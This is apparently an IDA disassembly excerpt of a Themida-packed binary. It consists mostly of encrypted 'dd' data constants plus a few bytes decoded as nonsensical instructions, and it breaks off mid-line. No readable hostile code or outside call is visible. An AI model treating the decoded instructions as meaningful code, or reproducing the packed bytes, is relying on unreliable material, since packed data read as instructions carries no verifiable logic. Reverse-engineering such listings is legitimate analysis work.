0EB817A03h, 0A663E720h dd 2A2DEF6Ah, 0D2DC4DDDh, 0BB745F1Fh, 29B3E6A7h, 3A956917h dd 3D156688h, 321564C3h, 52740622h, 32138F71h, 0D60D6688h dd 0C9B232Eh, 3215EC2Dh, 3D746611h, 32156704h, 0F4749A44h dd 261D2FA7h, 3AFC2517h, 9C156688h, 0CF0E0DACh, 5283277Fh dd 3216E31Eh, 0B9736688h, 0E77D0793h, 0DBF03D14h, 3215661Ch dd 0EBF7284Eh, 3B0B6CD4h, 474F80A9h, 1FA09970h, 0C7137284h dd 95BE3C9h, 54756036h, 0BCFBB690h, 6DD0DCEEh, 321F8F25h dd 0EF46622h, 0ED749F3h, 28176E5Dh, 0B975B6BBh, 39FC06E3h dd 82156611h, 17835964h, 0F383E5D2h, 0B5AB3F08h, 53020CD3h dd 4E90EFE9h, 3D137DE2h, 321567A2h, 0B7D39F11h, 34016EC1h dd 0B9730607h, 32068FEDh, 60D46611h, 0DBC28E52h, 6BD71C5Dh dd 0B8772864h, 9361BE96h dd 0D37D07ECh, 52FFCC76h, 0CFCCE742h, 0DB5A8772h, 3215669Bh dd 1BFDC84h, 4165E249h, 0B83CDB7h, 0DB8221A6h, 53536B9Dh dd 32156ACAh, 626B8011h, 0AA199419h, 0ADA90D2Fh, 5FAA0061h dd 0DB743800h, 3215669Bh, 0B4331474h, 0F2997676h, 1E9017D9h dd 938F6400h, 0CD6827D6h, 26194B97h, 0D2940617h, 160FC822h dd 321563ADh, 0F4362722h, 0BF74F886h, 262E280Dh, 37996942h dd 52156622h, 534D30E8h, 5475B677h, 3DCF05FCh, 0BB74B49Dh dd 29B3E294h, 2E9B698Eh, 52156644h, 21FC85A8h, 29156611h dd 4CD0F1Eh, 9B739061h, 17FAD303h, 499873B4h, 0F474BB68h dd 261D2FC1h, 61752524h, 3215E91Eh, 0B34F6688h, 1005382h dd 57D0703h, 529197BDh, 3D7406E8h, 321566C0h, 0CD740722h dd 26194BA4h, 0B798938Eh, 34015D0Ah, 320CEA2Dh, 0B71A6611h dd 3215669Bh, 321568ADh, 600CF722h, 66DB9553h, 5E329790h dd 0CD268DDEh, 321F8FF2h, 0F2B6611h, 8155191Fh, 1479D5ABh dd 949DE3ABh, 3BFC600Ah, 0F8156688h, 0CD6F3204h, 88BA75F8h dd 3A5CE3D7h, 525A609Ch, 0C0AA69B1h, 0A2C10E43h, 3FFCF124h dd 0D0156688h, 446CD157h, 3F391E9Eh, 0F92E70EAh, 3E38D377h dd 0DB756050h, 32156628h, 0FAB96268h, 5F5CD7B5h, 0EC9ED21Fh dd 7C90EB43h, 5213722Ah, 329969E8h, 53156644h, 0CD743C75h dd 229569C1h, 52156688h, 32156FADh, 9321C722h, 0E872CB5h dd 0BB74BE8Dh, 29B3EAC1h, 0B7D39F24h, 34016E58h, 0F59506C7h dd 321F8EFEh, 0D2F86622h, 0F8DF100Eh, 17AD9C1Eh, 97DAE722h dd 5A743D2Ah, 0CB7B6813h, 32156C61h, 273B3144h, 0EF3B895Ah dd 0CD07F914h, 26194B3Dh, 0B7989F42h, 34015D6Ch, 3201EC1Eh dd 3DFC6688h, 86156644h, 89381ED1h, 0A9FAAD78h, 3AD5AA9Fh dd 0E2EA1E43h, 3214EA2Dh, 0BBEC6611h, 29B3F60Dh, 35946942h dd 3D156622h, 32156797h, 0B7D39A88h, 34016E0Dh, 54759E6Fh dd 0BE1AB09Ah, 3215668Dh, 99E5E722h, 7B7D07E4h, 0C7DD5168h dd 3E38D377h, 23FC6050h, 50156622h, 0B3922C1h, 0F66236FCh dd 0F2A8B9A3h, 67773DF1h, 95BE39Ch, 0DBE0609Ch, 32156648h dd 0D86692EBh, 2EE08278h, 0D503296Ah, 0BBE9B6BBh, 29B3FEA7h dd 0B7D39A17h, 34016EC1h, 39946909h, 52156622h, 3DEBED77h dd 32156603h, 0BB7D0744h, 3DC9916Fh, 3215679Ch, 87EA9F88h dd 34016A69h, 0EA9E0042h, 0AE3BD977h, 7C90EBE9h, 3D13727Fh dd 321567AEh, 0E2EA9A11h, 0A690EF71h, 52137DE2h, 0F4749DA9h dd 261D2F94h, 5AE0338Eh, 0AE0E4B73h, 321DE22Dh, 0BE1A6611h dd 3215668Ah, 87EA0724h, 34016A0Fh, 53CCED71h, 95BE305h dd 0B81A6050h, 3215662Dh, 32156CF8h, 33F8FA88h, 0BA7E259h dd 0CD4E30E0h, 0C59E06C1h, 0E11EDCEEh, 0AE90EF25h, 52137D84h dd 3DAEA49Ah, 534C10A7h, 3A5CE382h, 3D566036h, 32156995h dd 321F8F88h, 0D3A6644h, 9D172151h, 3B2CAD42h, 0E7E54CE0h dd 0CB9E0696h, 321561CAh, 9871F411h, 5DA44DB5h, 321569ADh dd 2A04BE22h, 0D5FC7B15h, 5203B822h, 178D905Bh, 87EA0778h dd 34016A3Ch, 7C90EB71h, 3D13727Fh, 321567A7h, 0E2EA9E11h dd 3214E787h, 52E96644h, 3213E52Dh, 0BF1A6611h, 32156688h dd 53C5ED22h, 94B5E3ABh, 3AFC600Ah, 0FC156688h, 39C56930h dd 0F49B2B6Ch, 261D2F94h, 5AEC348Eh, 0CF57D2AEh, 53750642h dd 319A6970h, 54156688h, 0CD7491CFh, 26194B97h, 38986917h dd 52156688h, 0DB99AAFFh, 0C3A2697Bh, 7C90EB70h, 3D1372B3h dd 321575C0h, 321B8F22h, 6376611h, 0DD1911A0h, 76E0656h dd 0D808119Dh, 0BBEDB6EEh, 2630730Dh, 0B9730642h, 53ED06E3h dd 7B90A070h, 75137280h, 321572ADh, 0E69A422h, 0BE76265Eh dd 4BE202ADh, 3AFC7272h, 633B7D44h, 379B692Eh, 52156688h dd 53C4ED22h, 0AA4CFF4Ah, 32068FF3h, 3CC36688h, 0BB0802DFh dd 3C3B2878h, 0DD96C332h, 0AF8F304Bh, 1FA099A4h, 3D13722Eh dd 3215679Bh, 0B7989388h, 34015D0Ah, 3201E92Dh, 3DFC6611h dd 0F3156688h, 8D6E9422h, 4A75FFDFh, 9F0D8601h, 0E2EAB485h dd 9690EFB1h, 3D137D84h, 32157E96h, 32068F88h, 0BD96644h dd 0D4A199F6h, 0EE334E6Ch, 666FC517h, 0BD2B0150h, 7B90A009h dd 75137219h, 32157761h, 12C9C744h, 0EEDAEC98h, 96ABEB47h dd 7BBFDE61h, 0F07DE834h, 0CAA49B42h, 3E38D3EEh, 34FC609Ch dd 0A1156644h, 141340D0h, 32108F43h, 31736688h, 0BF9FA835h dd 262E28A7h, 32188F17h, 0C2056688h, 36A8DD95h, 0B14E7402h dd 0CDC87094h, 0B91A9F58h, 32156655h, 32156ACBh, 8A569E11h dd 348DA7FCh, 0BE879C74h, 9A90EFE8h, 3D137DB7h, 32156704h dd 0B7D39344h, 34016E6Bh, 0F1940656h, 492ACF3Ch, 267D07B8h dd 0C7CAC0DCh, 3E38D3EEh, 0BFEC609Ch, 262E28C1h, 0B3730624h dd 52AA24FAh, 0F58DDEEh, 321577ACh, 8DFA022h, 8515DDAFh dd 77499854h, 52FEB744h, 534C61B8h, 3DC59970h, 32156002h dd 0EC9F0644h, 0BB74EF91h, 29B3CA94h, 0B7D39F8Eh, 34016E0Dh dd 0B71A9A7Dh, 32156616h, 3214E687h, 5AED6644h, 0AC45944Ah dd 3DE5ED71h, 0CD74B03Fh, 26194BF1h, 32128F24h, 0B5066611h dd 0BB2FB43h, 39966929h, 52156622h, 3DBD8A91h, 32156602h dd 0B7980744h, 34015D6Ch, 3DC599E8h, 32156A02h, 32128F44h dd 90046622h, 77D0A79Ah, 32078FD7h, 0FBA46644h, 6DCA1F1Ch dd 5458F0C6h, 4BDE75FEh, 6C8C45E6h, 94A5E3ABh, 0F4E0600Ah dd 261D2F0Dh, 0DB752942h, 32156624h, 0F5464D16h, 0C29F4E18h dd 492A0E25h, 0CDE9A1DEh, 26194BA4h, 2B9E698Eh, 3D156644h dd 321575ABh, 321B8F11h, 703D6688h, 37C035A5h, 9C031265h dd 84349E04h, 61F9DEE8h, 0BF74405Eh, 262E28A7h, 35956917h dd 3D156688h, 321567CFh, 0E2EA9322h, 321EE01Eh, 34FC6688h dd 3F156644h, 0ABD431FCh, 3E9769CDh, 3D156688h, 321560C0h dd 329E6922h, 0BB156611h, 29B3BA0Dh, 11AF0642h, 0DB5215C3h dd 32156602h, 125E6DF3h, 0DED965D7h, 4175FCF9h, 26AD8507h dd 53FB6FF3h, 3A5CE382h, 52526036h, 13DAA690h, 0C7421368h dd 7E7D071Bh, 0DBEF3D4Ch, 32156603h, 0F459A1A7h, 89AB5C8Eh dd 0CCC9D122h, 0E315234Dh, 87EA0663h, 34016A69h, 0C8AE0042h dd 29AE0055h, 26FC0705h, 60156644h, 73A1A66Ah, 0F475811Eh dd 1C03920Eh, 5BA361A2h, 0BFAD1E1Ah, 262E2894h, 851A068Eh dd 531DD09Fh, 0B01AB6DDh, 32156600h, 32156A61h, 837F7E44h dd 635B0BAh, 0A73FB347h, 0D290EF65h, 0DB137DE2h, 3215662Fh dd 0D982EFE1h, 0D96BE5F6h, 88F29F33h, 7B90A045h, 75137219h dd 320AEA87h, 8A756644h, 5FC83F0Eh, 321575F8h, 0F1381688h dd 43CCE3C8h, 0A3821966h, 2B76DD3Eh, 0F18A5AA4h, 16D80E25h dd 0CDECA524h, 26194BA4h, 0B31A068Eh, 32156641h, 0C74EDA9Bh dd 44D5E758h, 535DDAEAh, 95BE3C9h, 34FC6036h, 55156611h dd 6F83816Dh, 3DC59968h, 321575ADh, 321B8F11h, 64E46688h dd 0EE127ACCh, 0FF12A58Ch, 7E42A5EFh, 94F1E301h, 22FC605Fh dd 80156622h, 0C64ECB77h, 1443711Dh, 0E2656D66h, 0F4E89DC0h dd 261D2F94h, 21FC398Eh, 7156644h, 24FCECA6h, 59CA43D8h dd 14957D38h, 79C037E0h, 0FE7D7DD8h, 0C7C1DD71h, 3E38D377h dd 3D756050h, 321563A2h, 0EB940011h, 3DFC7102h, 5D156644h dd 26D43EF1h, 0E77B6943h dd 4695BFFAh, 0BF74CEADh, 262E28A7h, 33986917h, 0CE156688h dd 0B81AB6BBh, 32156623h, 8690EFEDh, 52137D2Eh, 65CBED22h dd 534B3E74h, 3A5CE3D7h, 0DB4A609Ch, 3215664Bh, 56970AEDh dd 3293ACCBh, 40598C0h, 5A5B3429h, 0ACFC326Ch, 3219EC1Eh dd 35FC6688h, 0B8156644h, 478D0095h, 87EA27B6h, 34016AA5h dd 7C90EBB1h, 52137219h, 3213EE1Eh, 0B61A6688h, 32156644h dd 7D36D198h, 0E2EA075Ch, 32156161h, 2D533E44h, 6DF76A3Eh dd 32156FF8h, 3969D988h, 8A39737Eh, 0B79C76B5h, 340EC0A9h dd 32156A61h, 3F6BAB44h, 0EF27D07h, 0AC9F8519h, 7B90A0D7h dd 6D13724Ch, 32048E42h, 1B2E6611h, 6E523BDBh, 0EA38C978h dd 4119DD58h, 8D2C4513h, 708B1BD9h, 20FC071Dh, 0FD156622h dd 85296298h, 0EC8A07F0h, 27562535h, 1C8AD799h, 1A5D0E1Ch dd 0CDE9B79Bh, 26194BF1h, 33916924h, 0CB156611h, 95BE305h dd 0B91A6050h, 32156623h, 3DC599E4h, 32157A07h, 23FC0644h dd 8F156622h, 0D70F41EEh, 4307E0B4h, 233E3B8Bh, 58863F0Bh dd 3831DC77h, 8E90EFE9h, 0CA137DE2h, 321AEE2Dh, 65756611h dd 32108ED7h, 0A26D6644h, 693F8DF1h, 3D110C70h, 3215670Eh dd 327D9A44h, 3D156632h, 32157599h, 321B8F88h, 51C06644h dd 44EAE031h, 449918FBh, 39A826A1h, 3205662Ch, 0DA759F22h dd 32156600h, 5EDBD12h, 33A614B3h, 0EE418449h, 5DDFBB74h dd 0EC9E007Bh, 0D4AE001Ah, 327F0788h, 3B8099E9h, 52137296h dd 32156EACh, 0DF380422h, 0B816B779h, 6A4B3736h, 53D3ED22h dd 0B2EBED42h, 0BB7487F9h, 2619670Dh, 33996942h, 0CB156622h dd 6377E39Ch, 0B81A6093h, 32156645h, 0B97506DBh, 0D2D3E7C8h dd 531D1855h, 6B4DD716h, 52C59943h, 7487AC90h, 0A4AB3874h dd 5357A5CBh, 8B756248h, 1D1B5381h, 0D1F6E7EEh, 0B71A07DFh dd 32156623h, 22150EE4h, 0B71A6688h, 32156645h, 32188FDBh dd 0B5606611h, 489E2BC5h, 71A1928h, 5AD863B9h, 32154611h dd 0E3A269E8h, 32156EACh, 3D217122h, 0AD65C681h, 0FC9E005Fh dd 327F071Eh, 349C6942h, 3D156611h, 3215660Ah, 0CDEC0744h dd 260B6FB7h, 0F2940617h, 1CBB6DB5h, 0D1F0BAFCh, 0B79C0736h dd 34017780h, 0AAB00E8h, 0F8F0E653h, 0E790EF43h, 0DB137215h dd 32156683h, 8B904AF4h, 0F948C98Eh, 587FD2C2h, 1CAA06C8h dd 0DB7802AEh, 32156624h, 0F2DE4A1Fh, 5A749FD9h, 32157644h dd 321577CBh, 5190D811h, 0A2642B0Bh, 539D4796h, 68E9F96Dh dd 0B2754452h, 6BAF1B6Bh, 53565A93h, 3315664Ah, 3EFD0611h dd 83156688h, 5BE9C2E7h, 0F77E94D4h, 54F68846h, 634DB003h dd 6BEFED22h, 0CB150C43h, 2C1CF3EEh, 3D75609Ch, 321560C3h dd 329D6922h, 53156611h, 1144E301h, 20FC6050h, 0EC156622h dd 43B8086h, 9042BABh, 26714288h, 3D91BE55h, 0E7A0ED71h dd 52137285h, 0ADFEE722h, 0FCA26971h, 4388ED70h, 3D13728Ah dd 321567C4h, 879C9322h, 3401627Ch, 32156A61h, 0CF8F5044h dd 56C46524h, 9B0C60F2h, 2B88EFAAh, 52137244h, 3DEBD92Dh dd 32156598h, 0E1AA6988h, 4388ED25h, 3D137220h, 32156795h dd 8A459E88h, 32156644h, 3A9EBE23h, 0B131629Ah, 0B975624Ch dd 379F69BAh, 54156622h, 0EA199490h, 32ECE5E9h, 0B7EE24Bh dd 0DB756622h, 3215661Ch, 6A04FE0Ah, 0E062585Bh, 0CB66FF8Ch dd 0FCA269FAh, 0BB1A06E9h, 32156640h, 0D7FDD844h, 53CED11Eh dd 0B3F6EFDBh, 32156287h, 36FEE722h, 0B5156611h, 0BB494294h dd 0B11A4240h, 32156634h, 321577F8h, 5D34C588h, 2864B164h dd 919AC02Dh, 0F8FE553Bh, 0BB43E3A5h, 36D3E7A2h, 0B1156622h dd 69262FFh, 3E9C3AACh, 36916960h, 52156622h, 52743F40h dd 0ED949FE8h, 44190BE1h, 0DBD55743h, 3215661Bh, 97F0FB19h dd 0AE912191h, 35FC0170h, 0EB156611h, 9985C678h, 0B79C450Ch dd 3401480Fh, 321576F8h, 0D2E80288h, 0C3FDC20Bh, 411E85B5h dd 371AA942h, 3D93D841h, 64534B08h, 6C317AD5h, 0C2288890h dd 0B3E9B43Bh, 323534AAh, 1661656Eh, 1CAF3431h, 0B3199F9Dh dd 3D70CAB6h, 65DFE752h, 78173F5Dh, 6E918C09h, 0E41454BBh dd 33956978h, 0CE156611h, 0B31ACBEEh, 32156657h, 32128F42h dd 0F6B36611h, 122A006Ch, 0F2940083h, 1F74CF04h, 589A694Bh dd 5A0AC4A5h, 1651656Bh, 2DB76302h, 68104979h, 527FE987h dd 4C2E713h, 6B27E1B6h, 0CD74889Bh, 69E1EF8h, 36D1E760h dd 0CE156622h, 0DA8A090h, 46165E8Fh, 8D424660h, 4C003722h dd 8ED2E756h, 1BAC9766h, 3CFC39BAh, 6B156622h, 0BB4C69E2h dd 28B06E36h, 882DED1Fh, 2A639950h, 4F315290h, 6D12BCA2h dd 7A64DD17h, 0E1E249DBh, 0BF048D90h, 0ED24AEA4h, 32018F1Fh dd 1F256622h, 480D5192h, 1C167373h, 27DA5FEDh, 0B3CFE3CDh dd 8F9C900Fh, 340146EDh, 3DEAE3B8h, 321545A7h, 3CFC9F11h dd 87156688h, 5C531F23h, 5F6152CCh, 9A19C489h, 535A8E59h dd 87756644h, 0CBFC07ADh, 0CA156615h, 327E80E0h, 1619EF44h dd 0C5943542h, 774B7197h, 0B94207D1h, 0F6964250h, 0E07E9A26h dd 321A8F15h, 0A1756688h, 0F3A44307h, 0AE93F891h, 0D6DFD6C5h dd 3380EFD4h, 5213725Eh, 0C0940042h, 851A56F8h, 0DB940776h dd 1B4029E3h, 3D110C43h, 32156A91h, 34936988h, 3D156644h dd 321566ADh, 22150E11h, 39FC6688h, 0C6156644h, 0E9FE44E4h dd 2C378D1Ah, 0CA7DA9D9h, 0BB15665Eh, 0B71A4236h, 32156607h dd 32188FE8h, 5BBF6644h, 0D7427486h, 79F93AC6h, 0B9CEDCBBh dd 22FC079Eh, 0C0156622h, 0EC69A26Fh, 20E1C4B8h, 38029F83h dd 5880E5C9h, 8DEC0611h, 5AA50C44h, 3B809925h, 0CB13723Ch dd 2B80E398h, 3DEC609Ch, 32156FC1h, 5EAB0622h, 0B8596490h dd 63450770h, 4D0500FDh, 16594F4Ch, 0B34F3F15h, 4D05004Ah dd 6EA9E2Ah, 0F6943F06h, 32156615h, 32188FE8h, 6C9D6644h dd 78E6F8F4h, 36AFD486h, 8B7E85BFh, 0C39CAE3h, 52228E43h dd 34FC6611h, 96156688h, 0B3BFC68Eh, 0A7D936Ch, 0BB156618h dd 0BB1A42BCh, 32156645h, 0B97506DAh, 53D3EDC9h, 7596D9EEh dd 5475CB25h, 5AA2B5A3h, 3216ED1Eh, 0FF956688h, 4B100775h dd 37732219h, 798F6BC6h, 1631228Bh, 0A818B169h, 96C4B69h dd 37FC0055h, 5E156688h, 4170F4D9h, 0F5249E13h, 3CFC9E20h dd 0DA156688h, 2D517708h, 9FCB0528h, 0BFCD192h, 35936907h dd 52156644h, 0D7953D75h, 0BB4507A7h, 0B9D6EF70h, 0F6944240h dd 32156626h, 3200ED1Eh, 0BE1A6688h, 3215664Bh, 32156CCBh dd 8C2CE011h, 0A0C6CF30h, 64A3E64Fh, 0F49480ABh, 32156615h dd 32118809h, 6926644h, 0E9C3A06h, 32188F35h, 2CA56688h dd 0B1F6A993h, 303AC4EFh, 2C7E696h, 27986948h, 52156644h dd 3EFC4596h, 70156611h, 59C364Eh, 3427A70Ah, 538725A8h dd 52E813BFh, 0F89400D8h, 524DF88Ch, 53DBED44h, 339A6970h dd 0CB156688h, 623152CFh, 361086ABh, 0B1156611h, 36926248h dd 0B81A3A60h, 32156628h, 0BE4E771h, 0B82F9260h, 0DD9407AFh dd 53B72882h, 33EF8990h, 0ED3C0DC0h, 33EFA1C5h, 0F5940D6Ah dd 53B728B1h, 3200E687h, 22FC6644h, 0B156622h, 0E2F39738h dd 0D0CE72D0h, 437992A0h, 0B1F5DF23h, 269C62FDh, 321C8FACh dd 0F56A6644h, 421A723Eh, 5A88AB85h, 32151672h, 0B3315ACDh dd 42974216h, 0B34F12FEh dd 0DD65E47Ah, 32128F30h, 56F06622h, 0AC5C76A6h, 33A8EDD4h dd 0DB137248h, 32156624h, 5602659Dh, 0CDACC991h, 0CEEA99BBh dd 63E0A613h, 2A67DB44h, 0B3585284h, 9D5CA2B1h, 0A8F8E70Bh dd 0B368A151h, 0EE047D7Dh, 6FFCEFDBh, 339F9723h, 0FD940648h dd 155B5697h, 3210E94Bh, 9BAD6622h, 53737D7Bh, 65EDAEB8h dd 0CDEA99FBh, 6DEB4FDDh, 321572F8h, 4E89C888h, 8073F32h dd 90CA8094h, 0C022EB08h, 36F482Ah, 0B521991Bh, 1365DE72h dd 762476C0h, 6A4D62ACh, 0E3341671h, 0DBD49332h, 32018F19h dd 0E71A6688h, 0A7236EDDh, 0FE7DB443h, 7611B7B2h, 0D2E71BE8h dd 0F324146Eh, 0B71A2CD7h, 0CDEA9979h, 32156361h, 0E5E7144h dd 0DE962AAEh, 1629EF15h, 0CA9CA901h, 2293691Bh, 0DB156622h dd 3215661Ah, 852FFB0Ch, 0DAA70BD2h, 522CCD5Dh, 3DD6D11Eh dd 3215600Fh, 329E6944h, 53156622h, 26E23384h, 0DB803BACh dd 32156641h, 0DF0333A7h, 162199F2h, 36D1E7D2h, 0DB156644h dd 32156632h, 0C7FF41DEh, 41E48ACAh, 0B91D1295h, 684D00D5h dd 0EC9E0071h, 32156A60h, 0AB626D44h, 35CA57D8h, 3D2C0FF8h dd 321C8F47h, 72E86644h, 794A0563h, 6D33C015h, 36F9E5E9h dd 0BB314ACDh, 6F3FEFE7h, 3212E41Eh, 0B71A6688h, 32156645h dd 8B4433DEh, 46B42E4Bh, 2AE78F09h, 0F39466FEh, 0BE0DB6BEh dd 334CAB98h, 0B31A3B62h, 32156650h, 321BE92Dh, 3BFC6611h dd 0F4156688h, 0CA971E46h, 0CAE5E756h, 0B3F0EF44h, 3215624Dh dd 36F8E744h db 22h byte_5FAC35 db 66h, 15h, 0B5h ; DATA XREF: sub_581EE9+18BDAo ; --------------------------------------------------------------------------- cmp eax, 9CBB4942h inc edx sbb dh, [eax+32156654h] sub eax, 11321FE9h db 66h cld aaa mov [esi+15h], ah jnb short loc_5FAC88 inc edi retf 0DD45h ; --------------------------------------------------------------------------- db 0E3h, 38h, 1Ch dd 0B9E96005h, 263B4B1Dh, 321F8F42h, 4FD16622h, 0B1AEE95Fh dd 0ABF97ADh, 1270F37Dh, 0B61A6036h, 32156647h, 6EA9E70h dd 0F6943C60h, 32156626h ; --------------------------------------------------------------------------- loc_5FAC88: ; CODE XREF: Themida_:005FAC4Fj jno short $+2 sahf jmp far ptr 778h:7AE57433h ; --------------------------------------------------------------------------- dw 6EAh dd 0F6943806h, 32156615h, 32138EE8h, 10A86644h, 0BF2F35D2h dd 3D4C0771h, 6574A137h, 3211DB11h, 0DD9C6622h, 6DEB674Ch dd 0CB749AE8h, 0CDE937ADh, 0B97506DDh, 534E36D9h, 73D3E7EEh dd 6EA07A7h, 0F6963C06h, 321C8F15h, 130D6688h, 0E8376992h dd 0CD46B7FAh, 0B14B4225h, 3D75624Ch, 53ECAFFBh, 21916943h dd 0DB156611h, 32156686h, 5DEA53FFh, 0F0C38CBCh, 56D57E8Ch dd 6EA0A68h, 0F6943F60h, 32156626h, 3214E21Eh, 0B9ED6688h dd 0BB474240h, 36D7E7C0h, 0B1156611h, 2692624Ah, 3EFC3A60h dd 38156622h, 0CC72323Ah, 0FF18703Dh, 0F54186B8h, 2605D7A7h dd 32156617h, 0B7D29E88h, 340179C5h, 32156622h, 24906971h dd 0DA156688h, 32156654h, 0B6318AC5h, 0A5FCC8Ah, 794849ABh dd 67933FC6h, 8F96077Ah, 340EC035h, 0A916988h, 0CE156644h dd 911AFBAFh, 5475600Bh, 0B3739103h, 533F609Ah, 0B71AB5DDh dd 3215661Ah, 329269E8h, 3D156644h, 0DB74A995h, 3215661Eh dd 0C5FC2BE3h, 0AFD39F20h, 89DB256h, 0CD483D65h, 263ADB0Dh dd 88730642h, 21FC707Eh, 76156611h, 886A17AAh, 0BA46380Bh dd 0AAC0EAD1h, 17034ABh, 0B174EF24h, 263ADBF9h, 0B01A0224h dd 321564AEh, 349B69E8h, 3D156644h, 321566ABh, 53E2ED11h dd 1DA8E34Fh, 32146050h, 20FC6622h, 72156611h, 87ED1FD9h dd 0C61DF1A4h, 0BB490402h, 0BD09F64Ah, 0BFED0631h, 2967DEC1h dd 0CDED9A24h, 32068FC1h, 11376688h, 36310A5Dh, 46A3BECBh dd 9D463526h, 0B8B0DEF2h, 339E6964h, 0CA156622h, 94E1D39Ch dd 3D756093h, 0D2A3B5FBh, 3DA8EB43h, 3D137A22h, 32156E05h dd 0B9730644h, 8AF8E6ECh, 4AD2E770h, 0B35FC2B0h, 9A4A1EABh dd 0B3E24F5Bh, 9A4A1ED6h, 4AFAE7F1h, 3D5FC27Ch, 321563ABh dd 0B9730611h, 0B9420776h, 0F6964250h, 3FFD0626h, 98156611h dd 0A4866391h, 65520855h, 0AA088BE2h, 676C9090h, 0DA4E319Dh dd 3215664Fh, 698725A8h, 385CB212h, 0B275E965h, 534A618Eh dd 3E14DBA9h, 35FC6005h, 0B2156688h, 4D179183h, 0CDAC55E7h dd 3DEA99EEh, 3215620Ch, 53750644h, 0DBD55743h, 32156616h dd 0A6AF44A7h, 0CE8EA08Bh, 3215DF73h, 0C3146611h, 3E9E6702h dd 36D1E760h, 0CB156622h, 0B31AAE21h, 3215669Fh, 0DB740624h dd 3215662Ch, 55C8965Dh, 90150659h, 224B9C20h, 61740EF4h dd 321567AAh, 69CB6788h, 3204E24Bh, 3EFC6622h, 0BF156611h dd 0B1BC2EDh, 85851A32h, 0DB5F2C4Eh, 3215661Dh, 5F81B6DAh dd 6A7D08FCh, 90821C9Eh, 0DB92629Ah, 3215668Eh, 0A9103770h dd 0DBD4EFD7h, 3B916919h, 52156688h, 34AF3D17h, 533899B8h dd 3CFCA720h, 0A4156688h, 0E22775CBh, 76CFE016h, 7A854FFh dd 0B71A2C49h, 0CDEA9915h, 1E9437DBh, 0E05A0435h, 1611EDB1h dd 3711A2C7h, 0BC72940h, 321574F8h, 12B2B888h, 2A02E1DBh dd 0C2DB1178h, 1FC97A1Eh, 62FE853Fh, 0C5315AC3h, 1629E1F5h dd 0B72C9349h, 34016915h, 32BCE24Bh, 0B81A6622h, 32156602h dd 32156861h, 5CF53044h, 6A02A142h, 6CAC0164h, 5A1B4E9Dh dd 32156644h, 0B33162A9h, 321562D5h, 35966988h, 3D156644h dd 321567A7h, 39FC9A11h, 99156688h, 6A3A5E02h, 7DBA287Fh dd 0F21E316Ch, 3231E387h, 54756644h, 10AFB9A9h, 53715AF7h dd 18E8E34Fh, 32146050h, 39FC6622h, 50156611h, 8E3A9A8Ah dd 94F578A7h, 89462A68h, 27517AADh, 0EEBA509h, 0EB148CA9h dd 0B3317AA9h, 321562D5h, 321D8F88h, 0BBC36644h, 31FD102Fh dd 22FC8AC2h, 89156688h, 60722EDBh, 565DB012h, 0C09BD7F9h dd 53542B5Bh, 321568ADh, 0EBDA2B22h, 2656522Ah, 1BE4444Ch dd 520D063Dh, 32156ACBh, 0ACCD2711h, 72D72D95h, 911F3958h dd 0E09400D5h, 6174DB8Ah, 7179C7E0h, 0D9943D2Eh, 45D54811h dd 0EA4C9590h, 0B346A206h, 6E394270h, 0B34C75CDh, 0DD494AE0h dd 62EC3D9Bh, 3CECE1FCh, 0B9D7EF0Bh, 0F6964215h, 0B373068Ch dd 0DBD4C78Fh, 3215662Ah, 0E270179h, 23EE602Dh, 32048F25h dd 0C1606622h, 619EA27Ah, 1568B92Fh, 2E69C4ECh, 9F723899h dd 320EEF1Eh, 0DA756688h, 32156654h, 5FC82014h, 7E790776h dd 2481A5FDh, 0CB8E6FCAh, 0F99E0078h, 5FA0EF70h, 0DB13728Ch dd 3215664Dh, 0F51D9EEh, 0D064A9C4h, 36F9E5DAh, 8B316ACDh dd 32156622h, 6BE92898h, 0DCFB5B71h, 0B71A88AAh, 3215668Fh dd 0C2940071h, 8D1A7B07h, 0C9407B3h, 0EFC8BBFFh, 3282E31Eh dd 5AE96688h, 32153D6Ch, 883172ABh, 32156611h, 30D29489h dd 32156644h, 32108F78h, 95C86611h, 602B5171h, 321562FEh dd 0B9C36722h, 0F6944205h, 3215668Ch, 32078F24h, 70656622h dd 7A68A048h, 415ECA5Dh, 82ECB057h, 20E3AF5Bh, 3217E91Eh dd 68456688h, 5FA0EF25h, 52137226h, 32156FF8h, 8CF67A88h dd 959FE4E6h, 53E0540Eh, 3239C2F8h, 0B61A0688h, 32156646h dd 0DB74ADA9h, 0CDEA98AEh, 3FFC36E8h, 0D3156644h, 8A7F7FDBh dd 14FAC6A4h, 12F22931h, 0F1AA691Ch, 36943643h, 98329935h dd 1609EDE9h, 0B311A2C7h, 983299C9h, 32138F70h, 34536688h dd 8A2ECB02h, 321561CBh, 0A942CE11h, 8A4DC2F7h, 18E8E377h dd 22FC6036h, 0F5156611h, 0EFFCA570h, 0B981E022h, 0F10B6221h dd 0F315CFA6h, 0B3756540h, 0C973D982h, 0F1A26975h, 2D466370h dd 0E23C69F4h, 2D46DD17h, 0EA3C695Eh, 0B61A064Ah, 3215668Bh dd 530383C4h, 0DB05A6E3h, 32156617h, 7D8BDC44h, 0FA24CCB6h dd 0E4A26942h, 53DAD91Eh, 18E8FB01h, 0B81A6050h, 32156631h dd 321568F8h, 7FF8188h, 3F16844Ch, 4B974D7Ah, 0F69909Ah dd 32146688h, 33C2E54Bh, 3FFC6622h, 0BF156611h, 0E26764F8h dd 0EEB72EB0h, 671341D9h, 321DE11Eh, 0B31A6688h, 32156646h dd 0C940742h, 89AEDDAAh, 33BEE387h, 0F5EC6644h, 901FD924h dd 0B30B9164h, 190E55AEh, 0F313993Ah, 1C946204h, 0CDEA99EEh dd 22345009h, 37FCC6D5h, 0B9156622h, 407B24BEh, 51ECD9DFh dd 0DDD40E08h, 0C5CA9120h, 0DDD429CEh, 93D2E78Eh, 33EAF1F7h dd 527539DCh, 0B3733942h, 53158356h, 32156FADh, 9470B122h dd 8B94A974h, 0CB743EE8h, 3678D3CDh, 0BD1A6036h, 3215661Fh dd 32156F61h, 1A22F544h, 8EB2FC22h, 0AF9E6F2Ah, 340164F9h dd 321576ADh, 1ED2A922h, 7FE6B143h, 9F4E4269h, 0BF2B937Ah dd 0B3269934h, 700423Dh, 3E9E112Fh, 36D1E760h, 0B3156622h dd 952073D0h, 339969FFh, 0C7156644h, 321B454Ah, 1619EF11h dd 0F89CA701h, 0F495061Dh, 226CD8C9h, 52744C70h, 3218EC87h dd 3D756644h, 321566ACh, 0EA6BDC11h, 52740EC7h, 851AA1CFh dd 0B94707FCh, 0F6964215h, 321F8F8Ch, 167A6644h, 1F9B54FBh dd 93B771D0h, 19B0E3A3h, 0CA756050h, 53DEED44h, 0CA1786D0h dd 638E38Bh, 3EC6050h, 